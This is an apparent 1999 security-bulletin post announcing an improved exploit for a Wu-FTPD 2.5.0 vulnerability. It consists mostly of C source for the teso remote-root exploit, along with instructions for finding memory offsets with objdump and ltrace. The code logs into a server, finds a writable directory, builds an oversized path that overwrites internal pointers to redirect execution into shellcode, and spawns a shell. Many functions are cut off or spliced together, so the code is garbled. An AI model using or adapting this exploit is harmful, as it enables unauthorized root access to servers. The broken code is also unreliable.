An improved Wu-FTPD exploit code has been released (WUFTPD)
23 Nov. 1999
Summary
A while back we included some exploit code that use the Wu-FTPd vulnerability to get root privileges on remote systems. Now an improved exploit code has been released, the new code includes well-known offsets and a good method on how to find new ones.
Code by typo/teso '99. http://teso.scene.at/ - DO NOT USE, DO NOT DISTRO.
_----------------------------------------------------------------------------_
Ok, so edi found a way to bruteforce.. we made bruteforcing test code,
but wuftpd is too boring to finetune it.. enjoy this sploit in the
meanwhile. Send me offsets (see below) to typo@scene.at.
-____________________________________________________________________________-
Contributors:
Bulba of LaM3rZ (thanks for the shellcode and the example w.sh)
edi (found a way to only have to find 2(!) offsets, he is hardcore!)
lcamtuf (dziekuje tobie za ostatunia noc)
Grue (helped me thinking, and testing, rh5.2, rh5.1 offsets)
scut (minor include and style fixes)
smiler (asm bugfixing), stealth (hellkit rox)
Greets: Lam3rZ, ADM, THC, beavuh, and most other people that know us.
*/
void title (void);
void usage (const char *me);
void connect_to_ftp (void);
void log_into_ftp (void);
void parseargs (int argc, char **argv);
void cleanup_and_exit (void);
int x2port (const char *smtn);
void err (int syserr, const char *msg, ...);
int cwd (const char *path);
int mkd (char *name);
int rmd (char *name);
int is_writable (void);
void getpwd (void);
int recurse_writable (void);
void *xmalloc (size_t size);
void *xcalloc (int factor, size_t len);
char *xstrdup (const char *s);
ssize_t xread (int fd, void *buf, size_t count);
ssize_t xwrite (int fd, const void *buf, size_t count);
int xbind (int sockfd, struct sockaddr *my_addr, int addrlen);
int xsocket (int domain, int type, int protocol);
int xsetsockopt (int s, int level, int optname, const void *optval,
unsigned int optlen);
int xconnect (int sockfd, struct sockaddr *serv_addr, int addrlen);
void sighandler (int signal);
struct hostent *xgethostbyname (const char *name);
struct hostent *xgethostbyaddr (const char *addr, int len, int type);
void putserv (const char *fmt, ...);
char *getline (void);
char *getmsg (const char *msg);
int wuftpd_250_sploitit (void);
dirptr newdir (char *name);
char *getdir (char *stat);
char *int2char (int addr);
int check_test_return();
/*----------------------------------------------------------------
*** How to get offsets ***
------------------------------------------------------------------
Edis elite way of getting offsets:
objdump --disassemble in.ftpd | egrep -6 "3c 2e|0f bf 43 06" |
grep "\$0x80" | awk '{print $8}'
------------------------------------------------------------------
My lame way of getting offsets:
(as many people have asked: search for ltrace at http://freshmeat.net/)
tty1:
nc 0 21
USER someuser
PASS hispass
tty2:
ltrace -S -p pid_of_ftpd 2>&1 | egrep "SYS_chdir|longjmp"
tty1:
CWD /not/current/dir
MOO
QUIT
tty2:
first argument of first SYS_chdir is mapped_path offset.
first argument of longjmp is errcatch offset
------------------------------------------------------------------
try 4096 and/or 1024 for maxpathlen (works 99% of the time).
------------------------------------------------------------------*/
struct sploitdata {
char *banner;
char *desc;
char pad_eax;
unsigned int maxpathlen;
unsigned int mapped_path;
unsigned int errcatch;
int (*code)();
int need_writable;
};
/* title
*
* print title
*
* no return value
*/
void
title (void)
{
printf (C_BOLD"---"C_GREEN"teso"C_NORM C_GREEN"ftpd"C_NORM C_BOLD"---"
C_NORM"\n");
return;
}
/* newdir
*
* return a pointer to a new dir with name name
*
* pointer to dir structure
*/
dirptr
newdir (char *name)
{
dirptr tmp;
/* usage
*
* print usage
*
* no return value
*/
void
usage (const char *me)
{
struct sploitdata *cow;
int i = 0;
/* printf ("usage: %s\n\n", me); */
printf ("-h - this help\n"
"-s <server> - specify server\n"
"-p <port> - destination port\n"
"-f <sourceport> - source port\n"
"-v(v) - increase verboseness, use twice for full verboseness\n"
"-u <user> - user name to use for login\n"
"-P <pass> - password to use for login\n"
"-c <startdir> - directory to cwd to after login\n"
"-d <writedir> - directory to test writeability with\n"
"-r <revhost> - revlookup this host sees you with\n"
"-D <dirlen> - specifies the directory length\n"
"-T - use test shellcode (prints success, spawns no shell)\n"
"-t <type>:\n");
/* sighandler
*
* handle signals
*
* no return value
*/
void
sighandler (const int signal)
{
printf ("received signal: %d... exiting!\n", signal);
cleanup_and_exit ();
}
/* err
*
* print an error message. if arg0 is set add an errno message (perror like)
* exit afterwards
*
* no return value
*/
void
err (const int syserr, const char *msg, ...)
{
va_list ap;
while ((c = getopt (argc, argv, "vhs:p:f:u:P:c:d:D:r:t:bTo")) != EOF) {
switch (c) {
case 'v': ++debug;
break;
case 'h': usage (argv[0]);
break;
case 's': tesopt.host = optarg;
break;
case 'p': if (optarg != NULL)
tesopt.port = x2port (optarg);
break;
case 'f': if (optarg != NULL)
tesopt.sport = x2port (optarg);
break;
case 'u': if (optarg != NULL)
tesopt.user = optarg;
break;
case 'P': if (optarg != NULL)
tesopt.pass = optarg;
break;
case 'c': if (optarg != NULL)
tesopt.cwd = optarg;
break;
case 'd': if (optarg != NULL)
tesopt.dirname = optarg;
break;
case 'r': if (optarg != NULL)
tesopt.rev = xstrdup (optarg);
break;
case 'D': tesopt.dirlen = atoi(optarg);
break;
case 't': sptr += atoi(optarg);
offset_selected = 1;
if (!sptr->desc) {
err (0, "invalid offset set");
}
break;
case 'T': shellcode = testcode;
tesopt.testonly = 1; break;
case 'o': tesopt.dirscanonly = 1; break;
}
}
if (tesopt.host == NULL)
err (0, "server not specified (see -h)");
if (tesopt.port == 0)
err (0, "port not or incorrectly specified (see -h)");
if (tesopt.sport == 0)
err (0, "sport not or incorrectly specified (see -h)");
if (tesopt.dirlen == 0)
err (0, "illegal dirlen!\n");
/* xsetsockopt
*
* setsockopt with error handling
*/
int
xsetsockopt (int s, int level, int optname, const void *optval,
unsigned int optlen)
{
int tmp;
/* connect_to_ftp
*
* connect to ftpserver and resolve local ip
*
* return nothing
*/
void
connect_to_ftp (void)
{
int i = 1;
struct sockaddr_in sin;
struct hostent *he;
/* this is a good time to get our revlookup (if not user defined) */
if (tesopt.rev == NULL) {
i = sizeof (sin);
getsockname (fd, (struct sockaddr *) &sin, &i);
he = gethostbyaddr ((char *) &sin.sin_addr,
sizeof (sin.sin_addr), AF_INET);
tesopt.rev = xstrdup (he->h_name);
}
printf ("Connected! revlookup is: %s, logging in...\n", tesopt.rev);
return;
}
/* putserv
*
* send data to the server
*/
void
putserv (const char *fmt, ...)
{
va_list ap;
unsigned char output[1024];
int i, total;
/* this is edis code
*/
total = strlen (output);
for (i = 0; i < total; i++) {
if (output[i] == 0xff) {
memmove (output + i + 1, output + i, total - i);
total++;
i++;
}
}
while (strncmp (y, "\n", 1) != 0) {
if (i > (sizeof (linebuf) + 2)) {
err (0, "getline() buffer full");
}
i += xread (fd, y, 1);
strcat (linebuf, y);
}
if (disp != 0 && debug > 0) {
#ifdef COLOR
if (nostat != 0) {
char color[64];
memset (color, '\0', sizeof (color));
switch (linebuf[0]) {
case '2': strcpy (color, C_CYAN);
break;
case '3': strcpy (color, C_BROWN);
break;
case '4': strcpy (color, C_RED);
break;
case '5': strcpy (color, C_RED);
break;
default: break;
}
printf ("%s", color);
}
#endif
if (nostat != 0 || debug > 1)
printf ("%s", linebuf);
#ifdef COLOR
if (nostat != 0)
printf ("%s", C_NORM);
#endif
}
return (linebuf);
}
/* getmsg
*
* discard lines until expected response or error is reported
*/
char *
getmsg (const char *msg)
{
char *line;
int i = strlen (msg);
do {
line = getline ();
} while (strncmp (line, msg, i) != 0 && strncmp (line, "5", 1) != 0);
return (line);
}
/* log_into_ftp
*
* log into the ftp server given the login name and password
*
* return nothing
*/
void
log_into_ftp (void)
{
char *line;
char foundmatch=0;
line = getmsg ("220 ");
hostinf.header = xstrdup (line);
if (!debug)
printf("%s", line);
if (!offset_selected) {
for (sptr = spdata ; sptr->banner ; ++sptr) {
if (strstr(line, sptr->banner)) {
foundmatch=1;
break;
}
}
if (!foundmatch)
err(0, "No offset selected, and no matching banner found!");
}
printf ("Using offsets from: %s\n", sptr->desc);
putserv ("USER %s\n", tesopt.user);
getmsg ("331 ");
putserv ("PASS %s\n", tesopt.pass);
line = getmsg ("230 ");
if (strncmp ("5", line, 1) == 0)
err (0, "login not accepted!\n");
if (strlen (tesopt.cwd) > 0) {
if (cwd (tesopt.cwd) == 0) {
err (0, "initial CWD failed.");
}
}
getpwd ();
return;
}
/* recurse_writable
*
* recursively scans for writable dirs, starting in CWD
*
* return 1 for CWD is writable
* return 0 for no writable dir found
*/
int
recurse_writable (void)
{
dirptr dirroot = NULL,
current = NULL,
prev = NULL;
char *line = "",
*tmp = "";
if (is_writable () != 0)
return (1);
nostat = 0;
putserv ("STAT .\n");
while (strncmp (line, "213 ", 4) != 0) {
line = getline ();
tmp = getdir (line);
if (tmp == NULL)
continue;
if (dirroot == NULL) {
current = dirroot = newdir (tmp);
continue;
}
current->next = newdir (tmp);
current = current->next;
}
nostat = 1;
current = dirroot;
while (current != NULL) {
if (cwd (current->name)) {
if (recurse_writable ())
return (1);
cwd ("..");
}
/* mkd
*
* make a directory
*
* return 0 on success
* return 1 if the directory already exists
* retrun 2 on error
*/
int
mkd (char *name)
{
char *line;
putserv ("MKD %s\n", name);
line = getmsg ("257 ");
if (strncmp ("521 ", line, 4) == 0)
return (1);
if (strncmp ("257 ", line, 4) == 0)
return (0);
return (2);
}
/* rmd
*
* remove a directory
*
* return 0 on success
* return 1 on failure
*/
int
rmd (char *name)
{
char *line;
putserv ("RMD %s\n", name);
line = getmsg ("250 ");
if (strncmp("250 ", line, 4) == 0)
return (0);
return (1);
}
/* is_writeable
*
* check whether the current working directory is writeable
*
* return 1 if it is
* return 0 if it is not
*/
int
is_writable (void)
{
int i = 0,
is = 0;
redo:
if (++i > 3)
return (0);
is = mkd (tesopt.dirname);
if (is == 1) {
printf ("leet.. our file already exists.. delete and retry\n");
rmd (tesopt.dirname);
/* cwd
*
* change current working directory on the ftp server
*
* return 1 on success
* return 0 on failure
*/
int
cwd (const char *path)
{
char *line;
if (debug != 0)
printf ("CWD %s\n", path);
putserv ("CWD %s\n", path);
line = getmsg ("250 ");
/* getdir
*
* get directory from a STAT string (parsing works with wuftpd AND proftpd)
*
* return pointer to directory name on success
* return NULL on failure/not a directory
*/
char *
getdir (char *stat)
{
char *dir = stat;
if (strlen (dir) < 57)
return (NULL);
if (strncmp (" ", dir, 1) == 0)
++dir;
if (strncmp ("d", dir, 1) != 0)
return (NULL);
dir += 55;
dir[strlen (dir) - 2] = 0;
/* printf("strlen is %d for %s",strlen(dir), dir); */
/* wuftpd_250_sploitit
*
* tries to exploit wuftpd 2.5.0, after all preparation work is done.
*
* return 0 on error
* return 1 on success
*/
int
wuftpd_250_sploitit (void)
{
int shelloff,
times,
fill;
int start_writing_to_errcatch,
argvlen,
behind_errcatch;
int i, n;
char string[2048];
if (strlen (shellcode) > (tesopt.dirlen - 40))
err(0, "shellcode too big, edit the source to use less padding,"
"\nhmm.. this shouldn't have happened with LaM3rZ shellcode!");
/* let's try to hit the middle of our 0x90 pad */
shelloff = sptr->mapped_path + hostinf.pwdlen
+ ( (tesopt.dirlen - strlen(shellcode)) / 2);
if (debug > 0)
printf ("will try to longjmp to 0x%x\n", shelloff);
if (debug > 0)
printf ("Now %d bytes deep in dir structure.\n", hostinf.pwdlen);
if (fill != sptr->maxpathlen-hostinf.pwdlen)
err (0, "Calculation wrong. Error!");
if (fill > 506)
err (0, "Aw.. fuck! My fill is waaaay to big!\n");
/* onefile[0], onefile[1] and maybe pad_eax */
fill += sptr->pad_eax ? 12 : 8;
n = fill/4;
string[0] = 0;
for (i=0; i < n; i++)
strcat(string, int2char(start_writing_to_errcatch));
for (i=1; i < (fill - (n*4)); i++)
strcat(string, "A");
/* mapped_path + currentpwdlen + / + 3*4 -> should be pointer to errcatch */
strcat (string, int2char (sptr->mapped_path+hostinf.pwdlen+13)); /* Argv */
strcat (string, int2char (behind_errcatch)); /* LastArgv */
if (debug > 0)
printf ("Sending final CWD\n");
if (strlen (string) < 20)
err (0, "cwd string too short.. check for 0x0's.\n");
i = read(fd, line, len);
if (!strncmp(what, line, len)) {
printf("%sSploit successfull!%s\n", C_RED, C_NORM);
return(1);
};
printf("%sSploit not successfull!%s\n", C_RED, C_NORM);
return(0);
}
int
main (int argc, char **argv)
{
int i;
title ();
if (argc < 3)
usage (argv[0]);
signal (SIGINT, (void *) &sighandler);
signal (SIGQUIT, (void *) &sighandler);
parseargs (argc, argv);
printf("Connecting...\n");
connect_to_ftp ();
log_into_ftp ();
if (sptr->need_writable || tesopt.dirscanonly) {
printf ("Logged in! Searching for a writable directory...\n");
if (!recurse_writable())
err (0, "kurwa mac! no writable dir found\n");
} else {
printf ("Logged in!\n");
}
getpwd ();
printf (" %s is writable.. rock on!\n", hostinf.pwd);
if (!tesopt.dirscanonly) {
printf("Trying to sploit...\n");
sptr->code();
tesopt.testonly ? i = check_test_return("teso\n", 5) : shell();
if (!i)
printf ("sploiting not successfull\n");
}
cleanup_and_exit();
return (0); /* not reached */
}
---ifafoffuffoffaf.c---